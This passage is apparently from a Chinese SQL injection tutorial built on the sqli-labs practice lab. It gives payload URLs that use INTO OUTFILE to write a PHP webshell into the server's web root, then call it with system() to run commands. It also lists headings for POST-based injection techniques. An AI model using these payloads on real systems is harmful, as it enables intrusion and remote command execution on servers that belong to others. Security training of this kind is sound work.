2、文件上传(一句话木马)案例

1、先判断注入点 | 判断列数 | 判断注入方法这里我们的方法就是使用into outfile文件写入函数
2、构造文件写入一句话木马payload

http://192.168.2.101/sqli/Less-7?id=1')) union select 1,2,"" into outfile "C:\\phpstudy_pro\\www\\ben.php"--+

3、访问我们上传的木马文件

http://192.168.2.101/ben.php?pass=phpinfo();

SQL注入(一)-基础_第98张图片

除了使用phpinfo()函数,我们还可以使用system()来控制目标机器
例如:查看ip地址

http://192.168.2.101/ben.php?pass=system("ipconfig");

SQL注入(一)-基础_第99张图片

POST注入

一、POST请求方法之union注入

二、POST请求方法之报错注入

三、POST请求方法之盲注

四、POST dnslog注入

你可能感兴趣的:(sql,web安全)